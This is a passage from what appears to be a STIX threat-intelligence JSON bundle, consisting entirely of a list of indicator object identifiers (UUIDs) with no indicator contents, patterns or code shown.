        "indicator--ee2d7591-8b92-4584-8092-45d45d9b63a5",
        "indicator--c1df5189-63c0-44bf-b74d-d6e21127091f",
        "indicator--6d6b8da3-8395-47de-a057-77c2c07c2e92",
        "indicator--742a3f49-40b7-4b8d-8ffb-a718d4216b1c",
        "indicator--f6dc20cb-22d8-40cc-b5f0-2a9bb5ad5c97",
        "indicator--508ac4e3-b7a9-4cdc-abad-ddb9ab9277da",
        "indicator--abd2e52b-983e-4380-8464-1dc8795a668b",
        "indicator--2cdabb9e-6e20-419d-ba03-09682515d759",
        "indicator--71fb9a28-26f9-4305-a979-6a1b724bdf7c",
        "indicator--008c665f-284a-46e3-8c72-35468af40b0b",
        "indicator--c949b7a7-0c7d-420f-bf64-4d269874a06e",
        "indicator--bc1e9e8d-a9d5-4e7c-9681-5d4a9671dcbc",
        "indicator--0b575345-92ce-4d4a-bb58-afcb6821f0a5",
        "indicator--e7419daa-7ac3-462f-af2d-e8e9ab39fdc1",
        "indicator--f10ad5d0-a968-4e1c-b4c0-8db577d7895c",
        "indicator--a7aadc0a-608f-4ede-b14c-a5e8b2328368",
        "indicator--bf97eb68-2bcc-4867-9447-0fb1cc41f561",
        "indicator--c83cabdc-73a8-4564-94ea-cb33acbfbddf",
        "indicator--ef5b425a-9323-466e-baaf-c4fb5b6e838d",
        "indicator--24e4a62f-19f0-4afb-bdee-feca6287fc34",
        "indicator--58e8fcd8-3be1-47b7-a472-1e015ffaa6f5",
        "indicator--d77071ca-85bd-4bc9-8cc4-17d734387b67",
        "indicator--f72dc60c-14e2-467c-ba5b-403a91aea9bb",
        "indicator--28bd5ca1-8ace-46f4-ae7d-75829e866cb0",
        "indicator--38d091da-7a4e-407e-a926-b114e5f6c2cd",
        "indicator--8d6512da-0ed5-4752-8b40-b95b6e661e97",
        "indicator--9a06ed0f-5333-4d7f-a753-be97f13a70e8",
        "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
        "indicator--9b59e869-fcd3-475b-a243-fab0d86013f9",
        "indicator--3de7c600-a018-40bd-99ed-fef5214e8c68",
        "indicator--f62ce08b-811b-4b88-8d8d-b12de206bf7f",
        "indicator--5770cb99-6ac5-4783-886d-34454ae18270",
        "indicator--55002a1b-6b8d-4338-ad92-c4aa153aabd9",
        "indicator--1bf1d214-aff0-4915-9660-e34ae2a41850",
        "indicator--40eb3c26-211c-40b2-8fa4-8b07524974d6",
        "indicator--3daa3d3a-14df-4713-a23e-9829fec33b31",
        "indicator--2c9dde4a-5ba1-4b84-bae7-3a5d0d44e170",
        "indicator--b695192e-46a0-435f-86d5-e3c8942d19db",
        "indicator--69a9e663-4766-4ffc-9880-e98f157176d1",
        "indicator--aefe7954-4e24-4a22-8381-a623097c9b6f",
        "indicator--92d4bb3e-94ad-4db0-90f3-54f33fbe56e2",
        "indicator--fe1492f6-f0e3-4c6a-905c-67f95fdb4a2e",
        "indicator--caa2d13f-2e82-4a55-a1c9-a82da92d4e9f",
        "indicator--2362c3fa-4e05-4a18-b0eb-1d3e83fd0021",
        "indicator--5aac8396-9289-43ba-9084-f91f0d1449eb",
        "indicator--481a2c52-abfc-49b5-bd38-b5f47a773f58",
        "indicator--8f190774-4b08-44bd-bf51-c8367216ceb4",
        "indicator--875c803f-61cb-4acd-ba36-369fd5ab3ee3",
        "indicator--e66d8be9-a773-4b1d-9348-89c769ff3676",
        "indicator--d7025332-9890-4856-bd45-57b6ef562394",
        "indicator--a0762ba7-729d-4436-ae91-2ea2c4a27170",
        "indicator--23134395-1a4a-411a-8850-3cff2d1484b7",
        "indicator--d2cc555d-a3a1-4c12-a284-d1b4bd25d619",
        "indicator--c45565df-cff0-4b89-83c1-6fa56de6b386",
        "indicator--921e7f4c-af80-4cfc-9a73-a5d9f529182f",
        "indicator--247248f8-c9e4-497a-bcf5-c6aee515bddb",
        "indicator--669345a2-8ce2-44e5-8b32-f5409d94b395",
        "indicator--37c1a207-4548-4987-8fa8-4be412724428",
        "indicator--8e1afb5c-a801-4405-9b62-ae24559192c7",
        "indicator--c339cd37-f100-4023-95d1-3a1876c96692",
        "indicator--5bd63c6c-84b4-4b24-8fc4-cdfa6ef1b443",
        "indicator--71ac8d8b-f2e0-44a4-a280-5719b25a625b",
        "indicator--6c3663ce-c97b-485d-bf1f-9ba49cf418a1",
        "indicator--c0c261e8-7a52-444c-88f4-3eefa1c1b5e7",
        "indicator--969513f1-6261-40d8-b812-1a389482bc77",
        "indicator--1b680889-4778-46f5-93be-3ed2e98c915a",
        "indicator--3060cc5e-3f23-4f43-ac22-19daa5d80e2c",
        "indicator--e512d9bb-74a7-432c-a849-6b150853b2eb",
        "indicator--b97617d6-6588-4d2d-8fdf-f282e994f712",
        "indicator--9b358dfd-86c3-4182-9db8-74ee70b5d2b6",
        "indicator--39a45b45-38c2-4098-9098-ca15ab59db1e",
        "indicator--68ebda31-294a-4189-a0e4-4a32f4e72040",
        "indicator--e19d8013-0e33-40a9-bd06-a5b9a2fa7050",
        "indicator--cb571aec-6c44-468b-af9e-7a4c043073d4",
        "indicator--d4057e7f-7d2b-42c2-ae65-4fa49cdb5d08",
        "indicator--3bb080af-579f-4937-b0c4-585dcb39b965",
        "indicator--589ea1f1-b9b0-443d-bedb-1009eaa11046",
        "indicator--72416df7-cc4c-48c9-9946-b5732de0a851",
        "indicator--3ecaa271-022e-4ee9-ae5c-f0ad795f02bd",
        "indicator--ba5887fe-bb13-4414-85ce-02440824962a",
        "indicator--60de3ce7-87ea-4473-a6f2-a3d478ca17a0",
        "indicator--4c9b1cbe-12e5-45e3-b2d7-a89570047e81",
        "indicator--4d4463c1-c81a-4ea8-844d-4a8ebe6ce12c",
        "indicator--c7154bee-2605-45fa-95ba-318d28247281",
        "indicator--d1ae62dc-0270-4c27-83ee-7df5b5f0ad5e",
        "indicator--3fa55361-e333-49f7-8679-2c6fe55f9767",
        "indicator--c1405110-31ee-4d48-80fb-134de5829aff",
        "indicator--df43089e-9472-4f28-93fc-89375b7e9607",
        "indicator--238ba3ee-a0a2-4478-bf38-72d5ce5a3534",
        "indicator--c5ff0dda-3675-41a7-b6e3-ce7960035e80",
        "indicator--f6b16d60-5c3f-4ae9-8a97-a7f2c1d96927",
        "indicator--d5ed4d33-0189-474d-afcb-06aafd704100",
        "indicator--6ea016ec-ae4a-4d3d-b672-64d5373e6a04",
        "indicator--5560c437-318d-4639-b2ac-a93fd16c158a",
        "indicator--ca07f73a-6b3f-4dee-9fe9-9bffe557b0d5",
        "indicator--bbe1f244-9940-4f2a-a866-8ecad12eb5eb",
        "indicator--2ba7db13-4eb8-4e20-9aac-7804aefbe4e0",
        "indicator--3b0c3628-6261-434c-bf14-7522da0ee535",
        "indicator--65716135-6291-4092-892d-11607f6069a2",
        "indicator--799ab8f1-1653-4756-a271-1d16cedda3d8",
        "indicator--b00ada39-5cc8-4476-9c06-31ada2b2cb96",
        "indicator--1f779c94-8b04-467f-ac8d-27e1c4a312b7",
        "indicator--a15447a1-f104-4b31-bc22-9d4854b6710f",
        "indicator--32002e50-da68-41a8-b233-735d11f86d69",
        "indicator--8bae08a2-790b-4d37-a2f4-f833e3ef3fb9",
        "indicator--38ec0345-51da-4144-9816-545b366fb01a",
        "indicator--d3440a28-ac95-4b5e-b6cc-a6818a225936",
        "indicator--d83790fc-d5b7-4aae-8a15-dbb404a2368a",
        "indicator--38971095-3b51-4c99-bf05-5036f1c7160e",
        "indicator--074c6f15-646d-4405-99d0-f73b65d772b2",
        "indicator--bc7de8b9-69ae-4e42-9a2f-88f3beff1ea1",
        "indicator--05929bed-9b5d-42b8-af43-4c1f0161996b",
        "indicator--f60112db-d9b5-457c-a20f-3626a6a4a163",
        "indicator--291c8d8a-b8d0-4a59-8df5-a92be8268c2e",
        "indicator--001cbddd-a78d-4341-b3a2-1cee130cd50c",
        "indicator--2b57a728-f115-4510-b6b6-7a0a0fb099b7",
        "indicator--8546502e-5eff-4032-b442-8f77535701d4",
        "indicator--d14e47c2-9203-4b88-99b9-210cfe5ae7a1",
        "indicator--66dd06ca-ff05-4ab7-8487-340a8a158910",
        "indicator--eaf64cbd-d2f0-4548-a451-22b9126ee7ca",
        "indicator--1ab6f191-0bd5-4756-813e-2a7eea912cf5",
        "indicator--87ba0f74-b99a-493a-ab45-89f4a82a1a8b",
        "indicator--7e69e8a1-fd9e-43da-8470-a4064384f84a",
        "indicator--6563daf0-7544-40b0-b3d3-f5b1ab5661cc",
        "indicator--56535f23-bc31-4224-945e-c6b440cb493b",
        "indicator--6bef47fa-2b06-4b26-b3cb-c8e4f71ad0b6",
        "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
        "indicator--cffd247e-f4c6-4c08-9426-655eb9c8fdf3",
        "indicator--0621c54f-0ea8-412b-95e3-7d01a96d542e",
        "indicator--213ab17b-60a3-4735-b9f5-9fd0669f7101",
        "indicator--46c10cfa-f8b4-433b-9042-91c7bd76d80a",
        "indicator--eae1a403-68dd-46d5-992e-470a1ca81c10",
        "indicator--dd31ba73-57cf-46a9-979f-f434e2bebdc0",
        "indicator--7ff25fe8-4ecd-4f08-af94-1552928c56c4",
        "indicator--b64e9847-ee9f-4eec-8c85-3d13c4834d92",
        "indicator--89bb4efe-4b92-4aa6-9d32-85a041bb1b83",
        "indicator--f0d23ad6-534e-489f-9ed0-89716170d10f",
        "indicator--15571977-b28f-4602-847f-56c3dbdf1a74",
        "indicator--913fd7b8-9083-44bb-9278-241f38d35fbd",
        "indicator--14b46a5f-e5bc-404c-b20a-74a7503155e9",
        "indicator--f40c254d-5cc2-48e2-803c-71a119e33da0",
        "indicator--f6103afb-496b-4ad0-8b6f-12ea55629dfa",
        "indicator--e10edb22-4f0e-4806-89c5-8740ff964534",
        "indicator--107fe948-600f-4702-a385-b0de8075d878",
        "indicator--da89cfba-0ecb-4d78-b4f2-1d87b25b630b",
        "indicator--d382f44e-51ba-4cf3-929a-ca966f092f63",
        "indicator--ce1e6368-6470-4b82-98e0-bde43cb86853",
        "indicator--de8102b8-c805-4f2f-b857-78eb4456d756",
        "indicator--30089ee8-4ce9-4d06-ba3c-3be5c09f0dfe",
        "indicator--1ad260ca-a38a-4b7a-a9c2-90e9d7562161",
        "indicator--d1ecc734-6e5d-45c7-af21-4c9ef521712e",
        "indicator--c58f841e-a00a-425e-a81b-f6aaa736444b",
        "indicator--fd1ec240-cb5c-4fe3-bf3e-b2b9ceeaca40",
        "indicator--94ffdcb5-1f89-46a6-a13e-923c4761db50",
        "indicator--694283b6-a635-4d71-9198-94951993af35",
        "indicator--64bc60f4-7940-4164-bdd7-6838d2c36ea4",
        "indicator--7f74858f-6024-40cc-874d-9e4e488eb42b",
        "indicator--966aa264-d29e-4056-960e-3cb8ab0c10e4",
        "indicator--2ff79c31-aa73-4aa9-8459-d9db59373fcb",
        "indicator--fe45003a-dc2b-4328-9c9a-4c71d0fab257",
        "indicator--35c54ada-8d78-483b-bef8-1136f2753093",
        "indicator--469008ee-409c-4f52-8409-a6066c8693ea",
        "indicator--f6b28856-b96b-438b-bd26-7b92e351490e",
        "indicator--35b1654c-f2b3-45be-a104-905f75359d17",
        "indicator--85c5ef1e-4188-4ce6-932e-4065e898c1d9",
        "indicator--10b54a2d-2e11-44e1-8812-01e4f49290ac",
        "indicator--b23c042a-07c8-4bcf-bd62-6a7de73a0b2a",
        "indicator--3f5b3623-704d-496f-aa9f-96cccab68f3f",
        "indicator--7a798066-a6e4-4355-8413-7e9fe4f25491",
        "indicator--8dcdf15c-2831-4c0b-b009-318b5b801953",
        "indicator--5d109205-d9eb-4cbe-82cb-128e4336ea5b",
        "indicator--cfed1581-5aea-4f10-9702-039485b24767",
        "indicator--aeae4829-5298-4c72-ab16-6ad19f6fc295",
        "indicator--ab53b3fe-e2bd-4839-a023-393d3227e23a",
        "indicator--566d92f6-1198-4f93-92d1-4492949e2b2b",
        "indicator--a188801e-a878-4357-9932-2c1f429224db",
        "indicator--86387ec9-faa8-446e-82cb-019f59ac6069",
        "indicator--fa5c615e-11f6-4f45-aedd-3a6b016cfdc2",
        "indicator--86622272-2c4a-488a-b68c-45ece0528f69",
        "indicator--b2aba253-d04b-4555-8ede-c38a35c1af16",
        "indicator--955cd4aa-8101-4694-bfd2-7616203810f3",
        "indicator--bb79c557-f05e-44c9-901b-e79595933de3",
        "indicator--c189097d-d573-4e42-9550-a0e9bf8c2055",
        "indicator--67f8d3ed-17e1-455c-bc41-40d9b28c8a11",
        "indicator--ed77ba27-1a7a-4405-af43-98e4a88e3887",
        "indicator--876a1f2c-14c6-43ca-8ffd-029f7f51f06e",
        "indicator--911626d0-7476-4069-8b23-f3811cf0eb5b",
        "indicator--ee17bff2-bf9c-4d8f-856e-c54d0f8ffe6e",
        "indicator--301a5c5f-c939-4137-bca2-b907f95f2f89",
        "indicator--834d2505-b63c-45bf-98aa-4c3987147f99",
        "indicator--a5ae0537-de29-4c77-9210-72b1832e0d3d",
        "indicator--32ce1f7a-80ba-408e-bca7-684cea59f642",
        "indicator--44ca5e31-a2b6-4e8e-9ffb-c3d278c44bd4",
        "indicator--4444b4cf-1c39-4771-bcf3-e2eb8ea19b81",
        "indicator--a653049e-e23e-4668-bb4c-861691a6e4b5",
        "indicator--7df6e5ba-aa84-4ad6-a4f6-3da053d30841",
        "indicator--f659ed15-f982-4ea0-9f7d-0781a0b9ab4a",
        "indicator--baedf081-72f4-44b2-9bb4-78ce1f0bcac6",
        "indicator--d2a0693a-eb9b-4c70-8afc-3c077353ee0d",
        "indicator--b3d6cd7f-17f2-45ea-a046-2a9da066ebc9",
        "indicator--5cf5203a-8fb4-4794-be6a-499a2941db66",
        "indicator--8d3c9ff0-e00e-44be-bcad-6649abf17669",
        "indicator--e8905136-8ba4-464b-8a52-b7109b732d00",
        "indicator--a74f7d63-70a2-4179-ab54-c98fafad0099",
        "indicator--814a58cb-5052-4b03-9915-432cbbe81943",
        "indicator--0cd744a8-bcd4-4a58-a245-22a96e44558d",
        "indicator--13749512-4a1a-41c9-838c-8dd78e59decb",
        "indicator--24c246f8-383d-44d7-9af5-ff812d0293ee",
        "indicator--56679738-15a2-490b-ad11-ef7034f244cb",
        "indicator--c253af42-2a8c-4c63-82d9-827ad3ae67c9",
        "indicator--9c05ec2d-6d70-442b-b5eb-d07faaa4f190",
        "indicator--b97bfa6b-1b52-45a3-9518-f6eb0343f353",
        "indicator--4682141f-6fb3-450e-995d-96818b920341",
        "indicator--6e49da55-7996-4a03-be2b-16c3a7a9f944",
        "indicator--a42f2a43-b41a-4f51-a680-5a4e08dc1cba",
        "indicator--090d25f5-0afa-4939-84fb-6beab9ca6df9",
        "indicator--10db9850-03d4-4356-92d8-36c98dabaad3",
        "indicator--7a58eb14-f7e6-4b9d-bdf5-1d26cc25883c",
        "indicator--17c8b46a-ee57-42b2-ad72-1cf9bf736e4a",
        "indicator--ca8baf7e-dcf3-438d-8eba-0b6170ec99cf",
        "indicator--9afafc16-d67e-4b00-99ed-c9d31e8639ec",
        "indicator--47e4de3c-661f-43cb-912a-efcdd7693536",
        "indicator--c1dbd97b-71e0-413d-8975-504a544b8a99",
        "indicator--2db9f956-26dc-4698-83df-23b0596c7a17",
        "indicator--5441edca-6206-48c9-9799-615a0eb6361d",
        "indicator--9e5ca274-a355-4cbd-8e92-a5bee03cac40",
        "indicator--228a7235-ff1d-4273-9a95-9f0cb32b698a",
        "indicator--a0bd1a2a-dafc-4bcf-87cc-69bf53f0537b",
        "indicator--ac76a5bb-1f26-4b05-b0e8-0e88ba4e5c02",
        "indicator--dca47571-5a59-433c-a20e-eb8f3c6c0f07",
        "indicator--b3e2cb29-ba30-43eb-aafd-8697caea37e2",
        "indicator--020a673b-6f33-412a-97fe-1ff8bec29d8c",
        "indicator--2a9ee7cc-1de8-49eb-bee3-4db02ff1a464",
        "indicator--36bf034d-8b73-40d7-b60e-65f1169c006b",
        "indicator--0ab7dc19-4b8d-4b7c-8dc9-1e268061cae9",
        "indicator--95161588-49a4-4dd3-a6de-9cd9495bb80c",
        "indicator--ffd46519-b649-4060-8ca4-f18fd5d93006",
        "indicator--db65da84-1277-4dca-9c45-a4f97477a295",
        "indicator--d4e1686e-b4d0-4dff-af78-5f3a56945e48",
        "indicator--c75e2103-802f-4000-84d7-e46ac4b1cc60",
        "indicator--8bb91a03-6e36-4961-a7b3-3ffa37b4bd47",
        "indicator--7d889f96-c3f3-497d-8e74-1919575e512f",
        "indicator--f6bd68b7-abc6-4072-86c2-5cc4ae3b646d",
        "indicator--18aa26f1-4dab-4b69-9ca4-d72e2109303f",
        "indicator--7d7c5de8-bd24-436e-a827-0bd97ae1e052",
        "indicator--c94d4f92-eeec-42cc-a4bf-f302b30a8329",
        "indicator--92e4b9dd-d84d-4243-85da-f6607e159c72",
        "indicator--43db68ef-d6bb-4ac6-b169-3fff752f990b",
        "indicator--54a97c20-202f-48ae-9f4a-b013242f9cac",
        "indicator--64ac7674-0d3a-4272-9839-291922bc35a5",
        "indicator--8febcfda-9f36-40b0-bd40-f6e0b24b4d27",
        "indicator--226c31a7-f7cb-49aa-9653-955cb6cc6d62",
        "indicator--338fbaa2-9542-452a-b761-8185fdd115a5",
        "indicator--9f569d39-7f16-43f8-ab98-f25071d52e95",
        "indicator--0d17bc05-8214-434f-8041-beb4f1266c9d",
        "indicator--21e49f77-0106-4dd4-97c9-91e735994b21",
        "indicator--1b12d465-a87b-458e-9fe1-3e75c6b2eb39",
        "indicator--b07c1486-39ce-4f9b-9891-544f36d3454f",
        "indicator--97a8cf4e-9d21-4297-b741-b8a86c46ddb0",
        "indicator--22ce2054-61fb-4e30-8304-3f2e44631455",
        "indicator--2b1e44b4-7fe5-4582-b153-a67574b1ac98",
        "indicator--b6cad070-d43e-49a5-b615-646c2bdc79aa",
        "indicator--86cb836d-14aa-42db-9d4d-c172eb82e1c0",
        "indicator--52e22786-3650-4be0-9c90-df48d5fa8acd",
        "indicator--d85f8f93-648e-4f08-80e8-a653d16a567c",
        "indicator--3d452864-3c30-4a3c-9b63-b552270b0d06",
        "indicator--4e3ab079-946e-4db5-a9a0-61704b51706b",
        "indicator--cb090c32-c939-450e-b49f-3f4013d48193",
        "indicator--82c7d210-d212-4ef0-9f88-736624030bd8",
        "indicator--c2fe7ac8-dc15-4c47-953e-408ef527992c",
        "indicator--0943207c-2d3b-40f3-9f30-7bf84ddfd1de",
        "indicator--b93ae89d-2eaa-4e74-8242-2a73e5e00ce0",
        "indicator--bc4c2b31-1a81-49b9-87f2-924694cbb6e9",
        "indicator--e62549cb-1749-4e71-a9b3-8bd57019f337",
        "indicator--0902facd-1eb7-47ec-8c45-817cf7c8a149",
        "indicator--4436f87c-f11a-4bc0-997a-a214b48a6da5",
        "indicator--551f7743-7995-40ea-9310-279c1e32b82c",
        "indicator--fdef79ff-a731-4717-973a-2be1cab5c71a",
        "indicator--05077b0f-4178-4db5-88d4-7eba40036c45",
        "indicator--51ec8b1f-8408-4185-96d7-5e828115354d",
        "indicator--f10ed766-1fa8-4b92-abf0-6c22fb071c8b",
        "indicator--80e10be0-43bf-4cd6-a46c-b34b34bfa5ce",
        "indicator--9bd363fd-5385-4d75-a62c-1caa7566d1bf",
        "indicator--ef318362-4ce0-41f9-86f9-c085786518c6",
        "indicator--bdb40e7d-ca6a-49c9-8239-80e2a3b5fc49",
        "indicator--5f4fc9b2-d326-4965-9695-1959297b40fb",
        "indicator--ae5983e3-de01-4289-b904-819605663dee",
        "indicator--e83594de-9bdd-407d-bb91-5ff200a6ce7a",
        "indicator--0f218765-5fb1-4e64-8fdf-22847d478bc9",
        "indicator--c1796a6c-9c1a-4679-8b3a-e3cfc5f61dcd",
        "indicator--1f129f5f-0c45-4ecf-9020-65cb4a749f04",
        "indicator--e132e191-dd1e-49da-90c9-fbea1fdbdda7",
        "indicator--2c89859e-7cda-4320-a4ef-9c994a112783",
        "indicator--072e90bc-287f-4d00-94de-e238505a6a22",
        "indicator--3294508b-f27c-4aae-a550-f0164bfa6fe9",
        "indicator--610f9728-99cf-43fb-b00a-8f92ca46dc2b",
        "indicator--f4b59a80-f118-4478-b380-ead1fb132706",
        "indicator--68690044-dcec-49bf-9133-a750c306ad5f",
        "indicator--d9e95824-9ad9-4c73-a490-f6b5ab2b5f9c",
        "indicator--d529827b-f356-4909-afe4-c5e534588223",
        "indicator--0ea7f634-a1e7-4302-b67e-35f8fa781bdb",
        "indicator--bc032af0-741c-4024-9640-50adcde6c233",
        "indicator--74875d5b-710e-434f-8d27-9f9cfe4cb358",
        "indicator--04c7f77d-6417-43d3-8f7f-8e92e5b2486e",
        "indicator--0f783c90-1de5-4d4d-92d6-cb99a5d36231",
        "indicator--f4cd33f6-e8ee-4888-bdef-a4372517374d",
        "indicator--0a1320ba-7cd9-435d-ac19-0568f8dcec0d",
        "indicator--7a5c831b-7779-47c4-841d-9c689f20799e",
        "indicator--afea789c-1b86-4519-8edb-013deaa25277",
        "indicator--36ae4248-02fc-4c0d-b23e-0b573bb886d2",
        "indicator--3aa9a637-1b63-4f99-9d7d-9601cdc5c4c9",
        "indicator--06c2c0f3-974c-40bf-abbb-ef3fd75b222b",
        "indicator--989e5ca3-5ccc-4dcd-8ce6-49d4379b8e2f",
        "indicator--ad018eb1-c970-4f3d-962a-111edd45a01e",
        "indicator--3023b98a-32da-4d87-bcbd-d57bebc1d5a2",
        "indicator--3005d850-4edb-4ab5-ab17-430881233640",
        "indicator--9b122256-2e4c-44aa-997d-7627fed4d6ee",
        "indicator--3988610f-4658-49d0-8b33-573379eb1e10",
        "indicator--32788418-433f-4201-9d6e-7a6554a0c929",
        "indicator--4288b4c4-d386-4e47-83a2-9c8048fa6d14",
        "indicator--c7577873-c03a-462e-9454-8cf7422837be",
        "indicator--72d6e1fe-7a16-4d8f-a500-0290ce0c4e78",
        "indicator--b77441b5-3b5d-4fa1-a381-17da1699823e",
        "indicator--1765d44e-4571-4b2e-89d1-6ffa965d642c",
        "indicator--b76a9139-0bc4-433b-b9e9-b85a0d99df68",
        "indicator--f7539add-c653-43d9-a44b-79fbe4de7787",
        "indicator--14dc17aa-5dd9-42b5-81d3-d79b91112142",
        "indicator--d5d47d3a-8827-4100-965c-bdc84c7ca35f",
        "indicator--29fae5a8-f94f-44a1-a8ee-92bb3b0b6533",
        "indicator--9eb2edb9-d50d-433c-92f6-26d06af5ff30",
        "indicator--3f4154ad-5ff0-4a12-b9ac-e54dda75d695",
        "indicator--cf63b9ba-1ecb-4eb1-ab4a-9250fa3e754f",
        "indicator--7d03bd1f-d621-4cc2-bdc5-adf6ec340d25",
        "indicator--58489c7e-baf0-4ff3-b62d-0d29e1fe1f2a",
        "indicator--921aeb28-43a2-4b17-b1b5-924a0ca71d1e",
        "indicator--a90c181d-f19b-4a37-9607-416b201a9651",
        "indicator--fe622ffa-f7be-4a44-96c6-c9ec18eb57d3",
        "indicator--80113544-5c9a-49ce-8528-ebb780968c46",
        "indicator--ff104764-0bdd-445d-8417-a0640798b7ff",
        "indicator--7d11ee1d-5861-49e5-ab97-9e3987beebf1",
        "indicator--f0dd478a-74db-4f67-a823-e04f6d4b965f",
        "indicator--eddbb4a4-02a1-4bc6-ba7e-36c256d402fc",
        "indicator--271cba59-1694-493f-a008-8a8a76d6a6c6",
        "indicator--917a03ac-14d5-495f-86ad-e99454075f21",
        "indicator--524813ec-1533-4a71-b73d-3ef0f1236009",
        "indicator--e102c8a2-5e83-442e-829e-d405aa8dad6b",
        "indicator--f60d7af3-2cf7-4a27-8ba6-9ad7348e1f65",
        "indicator--41f7d291-7037-467d-bcfa-b5cf3f83aebe",
        "indicator--08b47469-845e-41f6-9d29-d0f3f5f599f3",
        "indicator--0122ea96-1544-4482-a084-2d24cb7b0cda",
        "indicator--35512264-9290-44e6-8d86-3c8f70bc9592",
        "indicator--4868c06b-99ce-42d6-8159-78db3e39f650",
        "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
        "indicator--5792474e-d37e-41a9-84bc-acabde384a9b",
        "indicator--a29f62a8-a533-4492-9a73-9858277e5c05",
        "indicator--84eda487-df6d-439d-8508-1d5df4f4d224",
        "indicator--1bb7ca2d-2010-42c6-8a45-3c0afb06685a",
        "indicator--a7323a2c-d14a-4765-b4dd-c3f01600a99b",
        "indicator--8bf4f5d7-90a2-4781-91ed-d7a9a78e4ff3",
        "indicator--52863183-dc2b-4c3a-9d8c-0a0ababc8269",
        "indicator--7ebe2ce0-fac3-44ce-a52e-40e811f61326",
        "indicator--f654fb11-741e-4e17-9665-f4f4eeae683d",
        "indicator--a4489480-851c-4fad-9e58-dfc4d751664c",
        "indicator--9755ce19-65e7-40f5-80ed-bdd470a3eefd",
        "indicator--5a3f7bc5-7d04-4a5f-8daa-1f061ed21dff",
        "indicator--51c7c5a9-67c7-4994-b515-33748f368655",
        "indicator--5942961f-4397-41f7-b99b-8b025d25ea1a",
        "indicator--ff4bdec9-d0ca-4477-ba4c-65bd3739c660",
        "indicator--369d2f00-8e5a-4b89-aa66-db9328941364",
        "indicator--6547e5c1-c6e0-4cd9-9fe7-5e45cc549fee",
        "indicator--23a90366-f530-45af-8a05-dcba1416e4b9",
        "indicator--87286ec5-bb3b-44e8-bbd3-43b8cfeb247d",
        "indicator--d1c8d585-456e-4948-b5bc-f110a1c2b127",
        "indicator--dca530c7-c5e0-41d7-9609-6bc2f0f97044",
        "indicator--e7685f96-cc56-436e-8336-59d16f554dbd",
        "indicator--4360e276-fbac-4776-9416-be7ab1f8a032",
        "indicator--552a5328-d8d3-43cc-ac35-21575f335365",
        "indicator--fc5847dc-1c3f-4472-8304-79291f163b41",
        "indicator--8bd57640-846e-455e-b545-161447c88830",
        "indicator--6ee268dd-39bb-450e-9503-37bb0139b2ab",
        "indicator--afe897d8-d80b-4024-8774-b3db44a40817",
        "indicator--26995cc9-0d53-4f4c-9b88-363d3174d581",
        "indicator--0cb719d0-2745-42da-b790-7ac9f01af32e",
        "indicator--6fa9a0da-b40b-489b-806c-2043cbab7609",
        "indicator--a2f2496f-288a-485e-af81-19ceea2a18df",
        "indicator--00480e94-68f3-455f-9eb9-ba033878afc4",
        "indicator--77207419-b7d1-42fc-b70c-b6d71574c220",
        "indicator--3ec4293d-5dbd-4bed-a16f-60c0fc3d511d",
        "indicator--77f9b23e-9c6d-4778-9ae7-47d9b44a5011",
        "indicator--babe3780-f587-48a5-b718-885c61b634d5",
        "indicator--be071703-683d-47ca-95b1-c1c300a940d1",
        "indicator--e7079ce2-6965-4370-b216-6923ce899deb",
        "indicator--80bff7c6-39f7-4578-b938-64deec9452dc",
        "indicator--05d2696e-b8d7-4531-b8a4-7098ea3d61b8",
        "indicator--6a77cd86-ceb6-4a9d-8f74-ffc50f6f84ef",
        "indicator--040b20a6-77dd-432f-98e9-a72b72cc7f5d",
        "indicator--0a179ea2-308f-42f9-b273-66faa9a11d61",
        "indicator--27cf094c-4c64-43a0-bfdf-ae1b184d3968",
        "indicator--8f04b9a0-1c32-4c4a-ad07-4b5be5dd7c25",
        "indicator--88062ec1-25aa-4a6b-8bc1-4e2147810881",
        "indicator--cca6836c-30d7-4718-86f4-10e9e9fd8928",
        "indicator--1f909561-4aea-495d-ae74-3e31e6527fd0",
        "indicator--46a26322-ea99-43f9-ae21-3cbae08e990a",
        "indicator--a5432210-a65c-4cc6-b92d-72d3701e0361",
        "indicator--474eea9b-587d-4d5f-b754-d1b5b646cd24",
        "indicator--5d1b8613-5ca3-4aa2-ac8f-cfbfc55d1dbe",
        "indicator--2f685b92-29a3-40e1-ae0d-20eca950100a",
        "indicator--cbae9bd2-f5cc-4f18-93b7-984804df3127",
        "indicator--6ab32c7a-ee76-4270-9bfe-5bb21e326c7c",
        "indicator--e15a37d5-c097-4da7-a77f-133de658ed3a",
        "indicator--a2132f9c-e9bc-4b6a-b21e-4cbd158c323d",
        "indicator--32739269-85ee-40a3-abd2-3526a309a68a",
        "indicator--4bbee740-73eb-4322-a669-1709a361ad6c",
        "indicator--0049f959-f3d1-4117-807c-2f968a148ac1",
        "indicator--8ed60cc9-9b3d-46c1-a907-e40f46fd5c99",
        "indicator--3e760ffe-927e-44c0-a610-5914ed0129bf",
        "indicator--ae2ef024-4f2e-4392-8b73-3a76191eddbf",
        "indicator--43e87f7f-c9bf-419b-b207-05657f66e8ba",
        "indicator--b8c13465-bd1e-4773-a98f-5dd1143492ce",
        "indicator--0447f10c-3010-45ac-857d-1410c0ae98bf",
        "indicator--afd7199a-65a3-43a3-adb0-a6feaf6b0ba0",
        "indicator--76bea26b-03ea-4e21-9028-2d50787705e8",
        "indicator--c35f0b3f-9a01-466c-accf-4dd1b3b36b30",
        "indicator--1e605297-7eaf-4282-9fb5-54a70d8fdfc3",
        "indicator--362952dc-874f-4067-972b-5502de62eb8a",
        "indicator--c4abb904-98de-4c0b-91f7-fc0411a61d9b",
        "indicator--9d3b089a-47b1-4d30-8133-8935e1df5c1e",
        "indicator--df516b8b-2827-4137-804d-69b198fa0d30",
        "indicator--21e7837a-d8f8-4b08-8748-e9dc11e71f6e",
        "indicator--add1333a-5232-41f8-b4e0-707dbc58ffb4",
        "indicator--da995f72-3d91-44f8-96b4-3699e804f9bc",
        "indicator--86ec4b81-eb03-481f-b132-d565e4673589",
        "indicator--e6dd7f39-70f6-48d6-944b-55fe527d1da0",
        "indicator--80633887-0ef6-46c7-acbd-b3337b80a45e",
        "indicator--ed89394f-a113-4770-aa6c-c6452a3f45c5",
        "indicator--c49113e5-41e8-4aed-934d-b2dc7425e755",
        "indicator--040b5cb6-a345-40bf-8307-73679ad89200",
        "indicator--faea1960-6ae2-401c-8778-4d2158b888b6",
        "indicator--3388cc2a-a8d8-43b9-b06c-031dc86386e3",
        "indicator--ddcea339-dd06-4fe8-9091-369a5c4c79c8",
